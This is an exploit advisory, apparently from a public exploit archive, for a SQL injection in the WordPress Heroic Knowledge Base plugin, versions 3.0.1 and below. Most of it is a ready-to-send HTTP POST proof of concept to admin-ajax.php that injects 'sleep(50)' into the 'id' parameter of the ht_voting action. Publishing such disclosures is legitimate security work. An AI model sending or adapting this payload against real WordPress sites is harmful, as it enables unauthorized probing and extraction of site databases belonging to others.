WordPress Heroic Knowledge Base 3.0.1 SQL Injection

WordPress Heroic Knowledge Base plugin versions 3.0.1 and below appear to suffer from a remote SQL injection vulnerability.


MD5 | 5b0a17623f7d69e2d7c8dc842fc7d4e3

#Exploit Title : wordpress Heroic Knowledge Base Plugin  <= 3.0.1 - sql injection 
#Exploit Author : begininvoke
#Exploit Date : 2020-11-29
#Vendor Homepage : https://herothemes.com



[+] Proof Of Concept:
=====================

#
Parameters id is vulnerable

# Methode POST #

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.3
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://site.com/knowledge-base/research-strategy-development-roadmap-rsdr/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 122
Connection: close

action=ht_voting&direction=up&type=post&nonce=6d2ea5db0f&id=sleep(50)&allow=anon&display=standard


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